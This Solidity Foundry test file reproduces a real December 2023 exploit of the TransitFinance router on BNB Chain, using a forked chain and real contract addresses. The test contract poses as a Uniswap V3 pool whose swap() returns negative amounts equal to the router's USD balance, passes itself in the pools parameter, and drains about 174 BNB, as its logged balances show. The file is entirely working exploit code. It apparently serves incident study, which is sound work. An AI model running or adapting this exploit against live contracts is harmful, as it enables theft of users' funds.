src/test/2023-12/TransitFinance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7/*
8    Attack tx: https://explorer.phalcon.xyz/tx/bsc/0x93ae5f0a121d5e1aadae052c36bc5ecf2d406d35222f4c6a5d63fef1d6de1081
9    Tweet alert: https://twitter.com/Phalcon_xyz/status/1737355152779030570
10 
11    [PASS] testExploit() (gas: 226246)
12    Logs:
13        Balance BNB before attack: 0.000000000000000001
14        Balance USD of router: 43841.867959016089190183
15        Balance BNB after attack: 173.907186477338745776
16*/
17 
18struct ExactInputV3SwapParams {
19    address srcToken;
20    address dstToken;
21    address dstReceiver;
22    address wrappedToken;
23    uint256 amount;
24    uint256 minReturnAmount;
25    uint256 fee;
26    uint256 deadline;
27    uint256[] pools;
28    bytes signature;
29    string channel;
30}
31 
32contract ContractTest is Test {
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    address router = 0x00000047bB99ea4D791bb749D970DE71EE0b1A34;
36 
37    address pool_usd_wbnb = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
38 
39    address usd = 0x55d398326f99059fF775485246999027B3197955;
40 
41    address wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
42 
43    address bnb = address(0);
44 
45    function setUp() external {
46        cheats.createSelectFork("bsc", 34_506_417 - 1);
47        deal(address(this), 1);
48    }
49 
50    function testExploit() public {
51        emit log_named_decimal_uint("Balance BNB before attack", address(this).balance, 18);
52        emit log_named_decimal_uint("Balance USD of router", IERC20(usd).balanceOf(router), 18);
53        uint256[] memory pools = new uint256[](2);
54        pools[0] = uint256(uint160(address(this)));
55        pools[1] = 452_312_848_583_266_388_373_324_160_500_822_705_807_063_255_235_247_521_466_952_638_073_588_228_176;
56        ExactInputV3SwapParams memory params = ExactInputV3SwapParams({
57            srcToken: bnb,
58            dstToken: bnb,
59            dstReceiver: address(this),
60            wrappedToken: wbnb,
61            amount: 1,
62            minReturnAmount: 0,
63            fee: 0,
64            deadline: block.timestamp,
65            pools: pools,
66            signature: bytes(""),
67            channel: ""
68        });
69        ITransitRouter(router).exactInputV3Swap{value: 1}(params);
70        emit log_named_decimal_uint("Balance BNB after attack", address(this).balance, 18);
71    }
72 
73    function token0() external view returns (address) {
74        return wbnb;
75    }
76 
77    function token1() external view returns (address) {
78        return usd;
79    }
80 
81    function fee() external pure returns (uint24) {
82        return 0;
83    }
84 
85    function swap(
86        address recipient,
87        bool zeroForOne,
88        int256 amountSpecified,
89        uint160 sqrtPriceLimitX96,
90        bytes calldata data
91    ) external returns (int256 amount0, int256 amount1) {
92        return (-int256(IERC20(usd).balanceOf(router)), -int256(IERC20(usd).balanceOf(router)));
93    }
94 
95    receive() external payable {}
96}
97 
98interface ITransitRouter {
99    function transitFee() external view returns (uint256, uint256);
100    function exactInputV3Swap(
101        ExactInputV3SwapParams calldata params
102    ) external payable returns (uint256 returnAmount);
103}
104 
105interface IUniswapV3Pool {
106    function token0() external view returns (address);
107    function token1() external view returns (address);
108    function fee() external view returns (uint24);
109    function swap(
110        address recipient,
111        bool zeroForOne,
112        int256 amountSpecified,
113        uint160 sqrtPriceLimitX96,
114        bytes calldata data
115    ) external returns (int256 amount0, int256 amount1);
116}